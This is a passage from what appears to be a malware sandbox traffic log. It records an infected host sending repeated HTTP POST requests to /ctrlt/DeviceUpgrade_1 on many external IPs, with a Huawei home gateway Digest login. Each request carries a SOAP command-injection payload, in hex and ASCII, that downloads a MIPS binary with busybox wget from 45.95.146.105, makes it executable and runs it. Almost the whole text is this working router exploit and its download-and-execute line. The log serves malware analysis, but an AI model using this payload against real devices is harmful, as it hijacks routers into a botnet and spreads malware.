61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:53.752707958 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:24.468452930 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	36902	94.123.148.188	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:30.130384922 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	53042	156.253.45.169	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:30.717600107 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:32.283679008 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:34.107503891 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:37.882978916 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:45.306107998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:59.895890951 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 